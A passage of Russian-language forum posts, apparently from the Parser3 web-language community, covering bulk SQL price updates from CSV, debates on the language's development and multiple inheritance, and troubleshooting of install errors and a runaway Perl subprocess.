Есть магазин. В нем 5000 позиций.\
У каждой позиции артикул, название, описание и цена.\
\
Цена время от времени меняется. Название реже, но тоже бывает.\
Поставляется это в виде таблицы CSV.\
\
Вот и делаю я обновление из панели управления сайтом."
"65260","Уникальный ключ у товара то есть?\
например может артикул является таковым?\
\
тогда делаете не UPDATE а INSERT:\
\
[code]INSERT INTO items (key_item,name,price ...)\
VALUES ^tItems.menu{('$tItems.key','$tItems.name','$tItems.price' ...)}[,]\
ON DUPLICATE KEY UPDATE name=VALUES(name),price=VALUES(price)...\
[/code]\
\
новые записи добавятся, уже существующие обновятся..\
\
если ключа нет, тогда никак"
"65263","Отработает быстро, за несколько секунд"
"65264","Текущая ситуация вполне нормальная. По сути Парсер – это внутренняя разрабока компании и развивается она именно так, как нужно компании. Судя по тому, что после ухода ПАФа из Студии, остался сотрудник [за что ему отдельное спасибо от сообщества], который занимается поддержкой и разработкой, говорить о смерти продукта несколько преждевременно. \
\
Другое дело, что у Парсера сформировалось достаточно пассивное комьюнити и на это есть  очень важная причина. Изначально Парсер стали, как мне кажется, неправильно позиционировать. Фраза «Parser — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать.» на первой странице сайта была справедлива для для второго Парсера, но никак не для третьего, поскольку последний вполне себе полноценный [специализированный] язык программирования с рядом уникальных черт. Действительно серьезных команд/разработчиков, использующих Парсер, крайне мало – далеко не каждый профессионал будет разбираться с технологией, которая так себя позиционирует. Поэтому большаяя часть сообщества – любители [в этом, кстати, нет ничего обидного] и заниматься серьезным развитием самого Парсера они не в состоянии. Возможный выход из такой ситуации – популяризация технологии, благо сейчас появилось достаточно много площадок для этого [всяке РИТы и ХайЛоады].\
\
Кроме того развитие технологии тормозится высокой «сложностью вхождения» в процесс. Для того, чтобы сделать какое-то серьезное изменение надо достаточно подробно разбираться с внуренним устройством Парсера, копаться в исходниках и т.д. и т.п. В такой ситуации мы и получаем мелкие патчи и багфиксы, но не видим новых модулей/классов. При этом есть одно исключение – драйверы к СУБД. Их как раз появилось достаточно много и на это есть простая причина – внешний модуль с четко-определенным интерфейсом сделать гораздо проще, чем пытаться интегрировать что-то в ядро системы. Причем задачу на разработку такого модуля можно спокойно передать программисту который не сильно «в теме».\
\
Собственно вопрос о создании интерфейса для внешних модулей [плагинов] ставился достаточно давно [и ПАФ вроде не был против] но дело так и не сдвинулось с мертвой точки. К сожалению сделать подобную систему может только разработчик самого ядра, но у меня есть уверенность, что подобная возможность сильно продвинула бы работы над добавлением различного рода фич [интерфейсы к memcached, почте и пр.]. Тем более, что команды, использующие Парсер, и имеющие в своем составе квалифицированных cистемных программистов имеются."
"65265","[quote]Уникальный ключ у товара то есть?\
например может артикул является таковым?\
тогда делаете не UPDATE а INSERT: \
INSERT INTO items (key_item,name,price ...)\
VALUES ^tItems.menu{('$tItems.key','$tItems.name','$tItems.price' ...)}[,]\
ON DUPLICATE KEY UPDATE name=VALUES(name),price=VALUES(price)...\
новые записи добавятся, уже существующие обновятся..[/quote]\
\
Не видел такой конструкции. Спасибо, изучу как она действует. Уникальный ключ конечно есть, но что имеется под этим уникальным ключом? Если имеется PRIMARY или UNIQUE защитый в самой таблице, то мне скорей это не поможет -- у меня там только ID является ключом. Но в обновлении он не используется, так как артикул в другом поле и не уникальном."
"65266","[quote]...достаточно много площадок для этого [всяке РИТы и ХайЛоады].[/quote]\
\
А можно по-подробней? Что это такое?"
"65267","[quote]10K за раз это мало.\
Отработает быстро, за несколько секунд[/quote]\
\
Ты имеешь ввиду 10000 подряд идущих команд ^void:sql{update...}?"
"65269","как уже посоветовали, insert вместо update, но там действительно нужно задействовать primary или unique ключ, что не всегда возможно.\
\
А лучше -- lock для таблицы и в цикле ^void:sql{update...}.\
MySQL хорошо оптимизирован под такие простые задачи. Куча несложных апдейтов подряд выполняется очень быстро. Для теста замерьте время такого глобального апдейта и уведите всё сами."
"65271","[quot]это внутренняя разрабока компании и развивается она именно так, как нужно компании.[/quot]\
Багфиксинг и несколько мелких фич за 2 года, сложно назвать развитием, скорее совершенствованием существующего.\
[quot]говорить о смерти продукта несколько преждевременно[/quot]\
Я не говорил про смерть, я говорил про развитие, а это немного разные вещи. Если продукт не развивается (все уже есть и так или некому), но используется, значит он жив (просто рано или поздно умрет, т.к. мир меняется).\
[quot]При этом есть одно исключение – драйверы к СУБД. Их как раз появилось достаточно много[/quot]\
Пяток драйверов это много? :) Есть ещё одно такое исключение - runtime, там апи тоже не ахти какой сложный и разработчик не в теме легко может сделать парсер и в виде FastCGI и в виде модуля для 2-го апача и пр., но это не было сделано до сих пор. Я как то хотел, и даже получилось почти со 2-м апачем, но тогда не хватило квалификации и терпения.\
\
А в остальном согласен полностью"
"65272","1. создаёте временную таблицу\
2. load data infile в неё (это выполнитеся гораздо быстрее чем куча insert)\
3. создаёте на ней необходимые индексы (чтобы быстре выполнился п. 4)\
4. выполняете update вашей живой таблицы на основании данных во временной (это будет 1 update и 1 delete плюс, если данные могут добавиться -- один insert+select)\
5. удаляете временную таблицу\
\
про все вышеописанное есть информация в доке sql сервера. такой вариант работает для mysql, pgsql, oracle (про mssql не знаю: есть ли у него возможность загрузить данные пачкой из файла). и обычно процедура апдейта (это пункт 4, остальное -- подготовка, которая не блокирует живые таблицы) происходит быстрее чем большие пачки insert/update."
"65273","Под уникальным ключом имеется ввиду что то, что является однозначным ключом товара и в БД и в импортируемых данных.\
Естественно, что id, генерируемый самой БД таковым не является.\
\
Вообще говоря без такого ключа вы и UPDATE сделать не можете, вы же как то указываете БД какой именно товар вы хотите обновить? это может быть артикул, это может быть UID товара взятый из программы источника (например 1С), это может быть название товара, или, если например артикул уникален в пределах группы то это код группы+код товара. Короче это то, что вы указываете в WHERE когда делаете update. Вот на это что-то. поле или группу полей, вам надо назначить уникальный индекс  (возможно составной). После этого предлагаемый INSERT будет работать как надо.\
\
Кстати ничего не мешает сначала вгрузить (LOAD DATA...)новый прайс во временную таблицу items_temp, как предлагает Миша, затем воспользоваться запросом вида \
\
[code]INSERT INTO items SELECT items_temp ON DUPLICATE KEY UPDATE ...[/code]\
\
Это даже быстрей наверно будет и это всего два запроса."
"65274","... на самом деле не самя востребованная фича. Эти фичи начинают быть критичными, когда речь начинает идти о создании высоконагруженных приложений, но это достаточно редкое явление. Я уже не говорю, что все это отлично решается балансирующе-кеширующими фронтендами. Для большинства же задач вполне достаточно обычного cgi. [Я в свое время тоже собирал модули для Апача, но потом понял, что это не шибко необходимо для моих задач. Как говорится \"преждевременная оптимизация - ...\"]\
\
Что касается драйверов СУБД, то \"пяток драйверов\" это действительно много. Сейчас мы имеем полный набор для все общеупотребимых СУБД. Кроме драйвера MSSQL под юникс, что мне кажется реальным извращением. Пример с драйверами хорошо показывает насколько хорошо иметь доступный API: понадобились людям драйверы для Interbase'а или SQLite'а - взяли и сделали, не тревожа разработчиков ядра. \
\
Конечно, явно не хватает хороших открытых фреймворков и библиотек. Вспомним пример с Руби - этот не самы плохой язык использовало достаточно ограниченное количество пользователей, пока 37Signals не сделали Ruby on Rails. [Сейчас некоторые юзеры и не знают, что Rails и Ruby разные вещи.]\
Питон получил развитие за счет Zope, а уже потом Django, TurboGears и пр. В нашем небольшом комьюнити мало кто решается делиться своим кодом, а зря.\
\
p.s. \"Продукт становится устаревшим, как только написана последняя строчка кода.\" (c) Не помню кого."
"65275","[quot]про mssql не знаю: есть ли у него возможность загрузить данные пачкой из файла[/quot]\
Есть. BULK INSERT называется"
"65276","[quote]1. создаёте временную таблицу\
2. load data infile в неё (это выполнитеся [/quote]\
\
Спасибо! Этот метод уже лучше, особо когда сотни тысяч записей пойдут в этом оптовом магазине...\
\
Действительно, что-то я не подумал, что можно просто манипулировать всякими временными таблицами в самой базе данных. Это супер!"
"65277","[quote]Вообще говоря без такого ключа вы и UPDATE сделать не можете, вы же как то указываете БД какой именно товар вы хотите обновить?[/quote]\
\
Я имел ввиду, что у меня ключем является только артикул. А вот id не используется во внешней таблице. \
\
Спасибо! Манипулирование таблицами это круто! Я наверное имею 'нуль' опыта с этими базами данных, потому даже и не подумал про такие фокусы со временным таблицами и прочее."
"65278","Потому что у PARSER нет никаких особенных преимуществ перед остальными технологиями, но есть достаточно серьезный недостаток - весьма экзотический и непривычный для подавляющего большинства синтаксис."
"65279","многое зависит от ALG, т.к. коммьюнити еще не созрело до нужной стадии самостоятельности.\
\
Но я не соглашусь с тем, что парсер \"мертворожденный\" :)\
В таком случае идеология PHP - это вообще некромантия :)\
\
На мой взгляд, кроме фреймворков, парсеру не хватает, может быть, нескольких классов в ядре и маркетинговых фич. \
\
Например, появления в портах FreeBSD, в виде модуля к Апачу или nginx, каких-то специальных фич для хайлоад. Или просто запуск какого-нибудь тяжелого, нагруженного проекта на парсере. \
\
[i]Ощущение[/i], что у технологии есть потенциал, поддержка со строны сообщества - оно происходит из из таких вещей, имхо."
"65281","... но распространенный миф про \"экзотический\" синтаксис пора развеять.\
\
Синтаксис Парсера вполне нормальный и привычный для большинства программистов, поскольку состоит из штатных конструкций императивных языков (кстати, очень многие вещи сделаны в перловом стиле). Если бы автор того же PHP изначально делал не Си для веба, а нормальный html-препроцессор, то получилось бы нечто похожее. Причина простая - язык, погруженный в текст должен иметь возможность однозначно отделить код языка от символов текста. В Парсере это сделано очень элегантно и с минимальным количеством \"лишних\" элементов, что сильно облегчает чтение кода.\
\
p.s. Сразу прошу не поднимать разговор на предмет необходимости отделения кода от оформления - это вопрос не языка, а программиста. Причем, в случае с Парсером, программист получает действительно гибкую систему для этого разделения."
"65282","А нестандартного подхода самого разработчика:)"
"65283","самый что ни на есть стандартный. у sql серверов для него сделаны  специальные механизмы, эти механизмы описаны и на них в доке есть ссылки из разделов по добавлению данных."
"65284","Мне, например, часто его не хватает в парсере.\
Хотя позже оказывается, что тоже самое можно сделать и без него...\
А в остальном - очень даже удобный язык."
"65285","если хочется множественного наследования — что-то не так спроектировано."
"65286","А вот для меня это не стандартный подход.\
Ладно, вы мне помогли - за что спасибо!"
"65287","Добрый день! При подключении класса авторизации выдается ошибка\
/www/admin/modules/auth.p(960:23): 'now' is 'date', not a method or junction, can not call it \
\
в чем причина, сайт работает нормально"
"65289","Скачал auth.zip (02.10.2007  25,1 КБ), но выдается та же ошибка"
"65292","Почитайте любую книжку о UML или паттернах, там непременно будет разбор множественного наследования и методов проектирования в обход необходимости в нём."
"65293","Иногда надо, но так редко, что вполне можно и без него. Шаблоны и исключения (в парсере есть) представляются более полезным механизмом, хотя и тут не все так однозначно, особенно насчет исключений, - неуемное их использование гораздо хуже чем даже goto."
"65294","Очень элегантно с помощью множественного наследования, делается проектирование библиотеки, в которой объекты классов должны реализовать ту или иную стратегию блокировки (на уровне классов или на уровне объектов) доступа - помимо наследования от базовых функциональных классов, делается наследование от классов стратегий блокировки (сериализации доступа), получается более элегантно нежели чем при использовании агрегации или каких-либо других механизмов."
"65295","Это кстати та фича, которую можно было бы в Парсер и включить."
"65296","... правда в скриптовых языках встречается не часто."
"65299","зоомагазин. каждое животное является наследнико класса животное и класса товар. чтобы не делать класс-наследник 2 этих классов, можно ввести понятие магазинного животного (класс) :) есть еще варианты?"
"65300","Унаследовать объект от важнейшего из классов (товар), эземпляр второго — включить (композиция).\
Либо, да, сделать полностью составным."
"65301","Кучка мелких полезных фич всё ещё висит в задумках, как то: @OPTION locals, дефолтные getter/setter.\
Модификаторы доступа, в конце концов (о них речи всерьёз и не было).\
\
А вы про интерфейсы и множественное наследование.\
\
Они все полезны, кончно.\
Только сомневаюсь, что фичи подобного рода нужны хотя бы 1% всех использующих Парсер."
"65302","Имеется примерно следующий код:\
\
[code]$pic_name[/files/picture.jpg]\
$file_pic[$form:pic]\
\
^file_pic.save[binary;$pic_name][/code]\
\
\
Данные код порождает ошибку:\
[b]save[/b]\
undefined method\
\
Самое странное, что точно такой же синтаксис работает в другом проекте (правда у другого хостера).\
В чем может быть проблема?"
"65303","У меня как-то странно на win32 парсер вешает httpd.exe (Apache 2.2).\
Потом apache отказывается перезапуститься, так как не может сделать make_sock и привязаться к 127.0.0.1:80 (httpd.exe к этому времени уже нет)\
\
Никто с таким не сталкивался?"
"65304","нашел на форуме аналогичную проблему\
\
[url=\"http://http://www.parser.ru/forum/?id=59078\"]http://www.parser.ru/forum/?id=59078[/url]\
\
но решение так и не предложенно"
"65307","[code]\
\
^connect[$connect_db]{\
   $fam[^table::sql{select\
	   id_c, f, i, o\
   from\
	  c\
	  ORDER BY\
	  f\
	  ASC\
	  }]\
    \
   \
     \
  ^fam.menu{\
  \
   $ca[^table::sql{select\
   id_c, DATE_FORMAT(time,'%Y-%c-%e') AS dat\
    from\
    c_sig\
    WHERE time BETWEEN '$sdate' AND '$edate'\
    AND id_c=$fam.id_c\
    GROUP BY DAYOFMONTH(time)   \
    }] \
  \
  $cah[^ca.hash[dat]]\
   <tr>\
   <td class=\"print\">$fam.id_c</td><td class=\"print\">$fam.f ^fam.i.left(1). ^fam.o.left(1).</td>\
   $n(0)\
   \
      \
    ^while($st <= $en){\
    <td class=\"print\" align=\"center\">\
    \
     $datt[${st.year}-${st.month}-${st.day}]\
     $plus[$cah.[$datt]]\
     ^if($plus){\
    \
    + $n($n+1)}{ }\
    \
   \
    ^st.roll[day](1)\
    </td>\
    \
    }\
   \
       \
    <td class=\"print\">$n</td>\
    $st[^date::create[$sdate]]\
\
[/code]"
"65308","Отоптимизируйте сначала имена переменных.\
Какждый раз, когда я пытаюсь прочесть ваш код, мне сводит моск, и я перестаю его читать. Держать в голове весь комплект имен, для того чтобы помнить что такое например $cah.[$datt] ломает.\
\
Выберите _какую_нибудь_ нотацию и сделайте так, чтобы ваше код было хотя бы удобно читать другим. Здесь у многих принято писать \
переменные таким образом\
[code]\
$en - $dEnd, $st - $dStart, $fam - $tAuthors[/code]\
\
хотя можете и date_start,date_end... на ваше усмотрение, главное чтобы это читалось.\
\
Это будет очень хорошая оптимизация, в процессе которой, кстати вы и сами возможно найдете некоторые проблемы"
"65309","1. объяснить что _делает_ ваш код и в чем его _смысл_ (ответ \"выводит таблицу\" не канает). без этого нормальная оптимизация невозможна. заодно расскажите (если хотите каких-либо советов вообще, хотя пока не похоже на это) сколько у вас строк в выводимой таблице и сколько столбцов.\
\
2. я предлагал вам избавиться от while(...){тут создание и сдвиги дат}, а использовать ^for[iDay](1;$iLastDay){}. imho: двигать даты тут не нужно совершенно, но я не уверен, т.к. вы не раскрываете секреты вашего кода, а немного \"оптимизировать\" меняя имена переменных и выкидывая незначительные, не сильно влияющие на процесс операции смысла не много.\
\
P.S. код мог перестать работать не только из-за того, что добавилось данных, но и из-за того, что хостер поставил/уменьшил лимит памяти."
"65310","Господа разработчики проекта Parser 2\
Выложите, пожалуйста, наконц исходники к нему.\
Проект помирает, мы могли бы помочь оживить его, поучаствовав в некой разработке.\
Более перспективным нам кажется именно Parser 2, а не Parser 3, поэтому повтим просбу и будет надеяться на вашу сознательность :) - Выложите, пожалуйста, наконц исходники к нему.\
С важением"
"65311","[b]1.[/b] Имеется парсерный скрипт: callparser.p3\
\
[code]\
@main[]\
^try{\
	$res[^file::exec[../../cgi-bin/callparser.cgi]]\
	^if($res.status){\
		$result[STATUS: $res.status, STDERR: $res.stderr]\
	}{\
		$result[RESULT: $res.text]\
	}\
}{\
	$exception.handled(1)\
	$result[Не удалось запустить перловый скрипт: $exception.comment]\
}\
[/code]\
\
[b]2.[/b] Имеется перловый скрипт: callparser.cgi\
\
[code]\
#!/usr/bin/perl\
use strict;\
sleep 3;\
my $status = system(\"parser3\");\
print \"status = $status\\n\";\
[/code]\
\
[b]3.[/b] пишу руками ./callparser.cgi и получаю:\
\
parser3: file not specified\
Parser/3.2.2 (compiled on i686-pc-linux-gnu)\
Copyright(c) 2001-2007 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: parser3 [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
status = 5632\
\
здесь все ок.\
\
[b]4.[/b] захожу на страницу http://www.v31.dr/callparser.p3 браузером и начинается кашмар.. со скоростью 1 штука в 3 секунды плодятся процессы:\
\
nobody    7170  0.0  0.2   3244  1316 ?        S    09:12   0:00 /usr/bin/perl /usr/local/www/v31/htdocs/../../cgi-bin/callparser.cgi\
\
чтобы прекратить это безобразие - комментирую вызов system в перловом скрипте. в браузер выводится:\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 693\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 607\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 521\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 435\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 349\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 263\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 177\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 92\
\
RESULT: content-type: text/html; charset=WINDOWS-1251\
content-length: 8\
\
RESULT: status = 0\
status = 0\
status = 0\
status = 0\
status = 0\
status = 0\
status = 0\
status = 0\
status = 0\
\
помогите пожалуйста понять - что происходит?"
"65314","понятно, спасибо.\
\
а как сделать, чтобы запущенный из perl парсер обрабатывал не исходную страницу, а нужный скрипт?\
\
пытался сделать так: system(\"parser3 myscript.p3\");\
\
однако все равно происходит зацикливание... ("
"65315","но идея вызвать из парсера perl скрипт, из которого в свою очередь вызвать парсер и скормить ему другой парсерный скрипт мне не нравится совершенно (3 процесса на один запрос)."
"65317","Я создаю сайты на парсере уже два года. Прежде работал на РНР, потом в Zope. РНР очень нелогический для web. Зопе - тяжелая машина. Для меня очень важно чтоб парсер не умер. Не знаю ничево лучшево для созданя сайтов.\
\
Давайте создоём защиту перед смертю парсера!\
\
я могу сделать:\
\
переводить документасию на польский язык\
мне только нужне исходники дока\
\
создать бесплатный хостинг на парсере в польше\
только кто-нибуть поможеть проверииь его безопастьность\
\
мои исходники выложу - только всё соберю\
\
я теперь делаю CMS на парсере - тоже выложу исходники\
можеть посмотрим на все cmsы и сделаем вместе Open Parser Cms"
"65322","Все сделал как написано в инструкции, а именно: \
\
установил apache 2.2, скопировал в директорию cgi-bin parser3_2_2_win32_cgi_xml, parser3conf_1_1_20070628_win32, parser3xml_2007_win32, в папку htdocs скопировал .HTACCESS в котором  записал:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
CharsetDisable On\
\
Далее перезапустил apache, ввожу http://localhost/cgi-bin/parser3.exe\
появлется ошибка 500, и предлагается parser3.exe сохранить на диск\
\
Не пойму, где ошибка, что я сделал не так?"
"65324","Главное - иметь четкую цель.\
\
Переход с parser2 на parser3 был совершенно понятен. Требовалось создание сложных систем (много программного кода), а инструмент не был для этого приспособлен. \
\
В результате традиционные для языков программирования возможности были добавлены, приятные мелочи (типа автоматического tainting) были оставлены.\
\
Если уважаемое сообщество обозначит новые потребности, которым не удовлетворяет текущая версия парсер, сформирует единую позицию и четкие цели по развитию парсера (библиотеки парсерных классов - отдельный разговор), то реализовать их - дело техники."
"65326","Parser2 развивался эволюционно, код в процессе не переписывался.\
C нашей точки зрения он просто недостаточно хорош, чтобы его открывать. \
\
Судя по конспирологическим теориям, трава у вас действительно хорошая. Правда если вам действительно нужен только процессор страниц, то вот вам почти готовый макропроцессор на perl.\
\
[code]\
sub process{\
    local $|=1;\
    my (@result);\
    foreach $_ (@_){\
        my $html=$_;\
        while ($html=~/\\^([^\\[]*)\\[/isg){\
            my $name=\"macro_$1\";\
            my $start=pos($html)-length($1)-2;\
\
            my @params=();\
            my $param=pos($html);\
            my $level=1;\
\
            while ($level>0 && $html=~/(;|\\[|\\])/isgx){\
                $level++ if ($1 eq '[');\
                $level-- if ($1 eq ']');\
                if ($level==0 || ($1 eq ';' && $level==1)){\
                    push @params,substr($html,$param,pos($html)-$param-1);\
                    $param=pos($html);\
                }\
            }\
\
            my $result=&$name(@params);\
            substr($html,$start,$param-$start)=$result;\
            pos($html)=$start+(defined($result)?length($result):0);\
        }\
        push @result,$html;\
    }\
    return wantarray ? @result : $result[0];\
}\
\
sub macro_load_cfg{\
    my $macro=read_file($_[0]);\
    $macro=~s/([^\\n\\r])@/$1~/g;\
    foreach my $macro (split(/@/,$macro)){\
        my ($name,$value);\
        next unless ($name,$value)= $macro=~ /^([^\\n]+)\\n+(.*?)\\n*$/s;\
        $value=~s/~/@/g;\
        $MACRO{\"$name-original\"}=$MACRO{$name} if exists($MACRO{$name});\
        $MACRO{$name}=$value;\
    }\
}\
\
sub macro_macro{\
    my $macro=process($_[0]);\
    $macro=exists($MACRO{$macro}) ? $MACRO{$macro}:\"\";\
    $macro=~s/\\$(\\d+)/$_[int($1)]/mge;\
    return process($macro);\
}\
[/code]"
"65328","Вот это другое дело. Хороо меть дело с умным человеком.\
Благодарю Вас душевно за маркопарсер HTML на Perlе :)\
Про [url=\"http://www.parser.ru/forum/?id=65327\"]этот пост[/url] можете забыть, это я погорячился, прошу прощения :)))"
"65330","1. наверное копировать надо не parser3_2_2_win32_cgi_xml ..., а их содержимое\
2. копировать надо не '.HTACCESS', а '.htaccess' (+ убедиться что это именно '.htaccess', а не '.htaccess.txt')\
3. надо почитать FAQ\
4. надо привести запись об ошибке из лога\
5. можно запустить cmd, зайти в cgi-bin и попробовать пустить parser3.exe"
"65331","enctype=\"multipart/form-data\""
"65333","Насколько мне известно большинство иголок в сторону Parser лежат в этой стези.\
Если память не изменяет и Миша(?) здесь на форуме писал, что Parser в элементарном сложении 2+2 проигрывает PHP.\
\
Разумеется скорость работы, можно контр-аргументировать криворукостью и профессионализмом программиста который пишет код, но нужно ли это? Ясно, что и на PHP плохой код будет работать медленно. Впрочем это в глобальном, практическом и итоговом смысле не мешает ему быть быстрее.\
\
Но если бы скорость работы Parsera была выше, а потребляемая ресурсоемкость ниже, то это были бы очень весомые аргументы в его пользу.\
\
\
В остальном, мой первый язык программирования был именно Parser. Потом выучил PHP и чем больше в его вникал, — тем больше нравился Parser."
"65334","Во первое - не надо парсерови быть хужимь пехапа\
\
по моему встречю и нуждом надо сделать:\
-модуль для Apache 2\
-лучший класс оброботки картинок (image), чтоб он был похожий возможностям на gd-lib"
"65337","Выскажу и я свое IMHO, хоть и несколько сумбурное :)\
\
Думаю, Parser3 больше всего страдает от отсутствия готовой идеологии применения. \
\
Люди, которые используют тот же PHP, любят его за то, что уже есть ответы на все вопросы – платформа LAMP (LAMP – [b]L[/b]inux, [b]A[/b]pache, [b]M[/b]ySQL, [b]P[/b]arser :), готовые IDE, куча готового кода, есть типовые связки. \
\
Т.е. некие рельсы (это почти намек :)  по которым можно ехать не особенно думая куда поворачивать. \
\
Производительность – да, это важно, но я не думаю, что в ней дело. Грамотное проектирование решает большинство вопросов, если таковые возникают. Вообще, производительность – это область полная мифов и неверных предположений. \
\
[quote]«Преждевременная оптимизация — корень всех зол». (c)\
\
«Правило 1: Вы не знаете, где программа начнет тормозить. Узкие места возникают в неожиданных местах, поэтому не стройте догадки и изучайте скорость работы программы до тех пор, пока не удостоверитесь, что узкое место найдено».(c) [/quote]\
\
В конце-концов, если у вас такая высокая нагрузка на сервера, что парсер не справляется, то, очевидно, речь идет о серьезном проекте и ресурсы на доработку парсера, скорее всего, не являются проблемой. Если у Студии пока не было таких проблем, то уж для ресурсов начального и среднего уровня вряд ли есть реальная угроза упереться в проблему производительности именно Parser 3.\
\
Парсер исторически возник как очень продвинутый шаблонизатор, который используется для создания front-end. А back-end'ы всегда были вещами, которые Студия делала закрытыми и ничего о них не рассказывала. IMHO, потому, что такие решения всегда писались под конкретного заказчика, и, зачастую, реализовывались вообще не как веб-приложения. \
\
Отсюда некая недосказанность и постоянные попытки народа сделать свои \"админки\". Для большинства нет никакой проблемы сделать отображение информации из SQL и некий базовый интерактив (корзину, форум и т.д.) – т.е. клиентскую часть сайта.\
\
Парсер для этого очень удобен и логичен. \
\
Парсер не пытается быть единственно верным решением для [i]всех[/i] задач.\
\
Это unix-way: одна задача = один инструмент.\
Мне кажется, что парсер по идеологии ближе к AWK, чем к PHP.\
\
Если же посмотреть на реализацию, то на самом деле, много реальных инноваций и в целом свежий, прагматичный подход. \
Смотрите сами:\
-	глобальный print \
-	taint (+ ограничение на один запрос к базе в конструкторе переменных)\
-	тип данных «таблица» \
-	возможность писать код в конструкторах переменных ([url=\"http://www.parser.ru/forum/?id=46764\"]LINQ[/url]?, не знаю, как оно правильно называется :)\
 \
...и множество различных приятных мелочей.\
\
Проблемы начинаются тогда, когда люди пытаются сделать комплексное решение на парсере не имея прецедента, на который можно опереться.\
\
Поэтому разработка некой базовой CMS/идеологии ее построения  важнее всего остального, ИМХО. Очень интересной была библиотека pf и схема Misha v.3 Engine. \
\
Рано или поздно решение, которое подойдет большинству все-таки появится и будет успешно развиваться. \
\
Специализированность парсера и отсутствие необдуманных попыток закосить под язык программирования общего назначения – это, на самом деле, его сильная сторона. Жаль, что многие этого не понимают.\
 \
В общем, в первую очередь людям нужна готовая идеология применения."
"65338","[quot]Если же посмотреть на реализацию, то на самом деле, много реальных инноваций и в целом свежий, прагматичный подход. [/quot]\
\
На самом деле, все высказанные \"инновации\" вовсе не инновационны, да и смысла особенного в них нет. Ну взять тот же глобальный print - ну зачем он??? А встроенный тип данных \"таблица\" нельзя заменить собственными классами?"
"65339","Не знаю, как авторы, но я тут вижу такую логику:\
\
а) вывод информации в браузер это действие, которое подразумевается по-умолчанию; \
\
б) глобальный принт весьма изящно реализует это очевидное утверждение;\
\
Раз Парсер написан для того, чтобы выводить информацию в браузер - было бы странным усложнять эту процедуру. \
\
Касательно таблицы: идея в том, чтобы использовать в качестве инструмента сериализации данных SQL-сервер. \
\
В этом случае наиболее удобно получать table, а не массив или хеш.\
\
ИМХО, вы ждете от Парсера, чего-то такого, для чего он не предназначался."
"65340","1. Естественно, я скопировал их содержимое\
2. .htaccess был записан именно так, заглавными это я в форуме написал,\
3. FAQ читал несколько раз, вроде все понятно, но не работает.\
4. Лог Access\
\
127.0.0.1 - - [20/Mar/2003:16:59:47 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
127.0.0.1 - - [20/Mar/2003:16:59:51 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
127.0.0.1 - - [20/Mar/2003:17:00:12 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
127.0.0.1 - - [20/Mar/2003:17:00:14 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
127.0.0.1 - - [20/Mar/2003:17:00:15 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
127.0.0.1 - - [20/Mar/2003:17:00:31 +1000] \"GET /cgi-bin/parser3.exe HTTP/1.1\" 500 41\
\
\
Лог Error\
Starting the Apache2.2 service\
The Apache2.2 service is running.\
rmine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:57:31 2003] [notice] Apache/2.2.8 (Win32) configured -- resuming normal operations\
[Thu Mar 20 16:57:31 2003] [notice] Server built: Jan 18 2008 00:37:19\
[Thu Mar 20 16:57:31 2003] [notice] Parent: Created child process 3708\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:57:31 2003] [notice] Child 3708: Child process is running\
[Thu Mar 20 16:57:31 2003] [notice] Child 3708: Acquired the start mutex.\
[Thu Mar 20 16:57:31 2003] [notice] Child 3708: Starting 64 worker threads.\
[Thu Mar 20 16:57:31 2003] [notice] Child 3708: Starting thread to listen on port 80.\
[Thu Mar 20 16:58:56 2003] [notice] Parent: Received restart signal -- Restarting the server.\
[Thu Mar 20 16:58:56 2003] [notice] Child 3708: Exit event signaled. Child process is ending.\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:58:56 2003] [notice] Apache/2.2.8 (Win32) configured -- resuming normal operations\
[Thu Mar 20 16:58:56 2003] [notice] Server built: Jan 18 2008 00:37:19\
[Thu Mar 20 16:58:56 2003] [notice] Parent: Created child process 3364\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:58:56 2003] [notice] Child 3364: Child process is running\
[Thu Mar 20 16:58:57 2003] [notice] Child 3708: Released the start mutex\
[Thu Mar 20 16:58:57 2003] [notice] Child 3364: Acquired the start mutex.\
[Thu Mar 20 16:58:57 2003] [notice] Child 3364: Starting 64 worker threads.\
[Thu Mar 20 16:58:57 2003] [notice] Child 3364: Starting thread to listen on port 80.\
[Thu Mar 20 16:58:58 2003] [notice] Child 3708: All worker threads have exited.\
[Thu Mar 20 16:58:58 2003] [notice] Child 3708: Child process is exiting\
[Thu Mar 20 16:59:13 2003] [notice] Parent: Received shutdown signal -- Shutting down the server.\
[Thu Mar 20 16:59:13 2003] [notice] Child 3364: Exit event signaled. Child process is ending.\
[Thu Mar 20 16:59:14 2003] [notice] Child 3364: Released the start mutex\
[Thu Mar 20 16:59:15 2003] [notice] Child 3364: All worker threads have exited.\
[Thu Mar 20 16:59:15 2003] [notice] Child 3364: Child process is exiting\
[Thu Mar 20 16:59:15 2003] [notice] Parent: Child process exited successfully.\
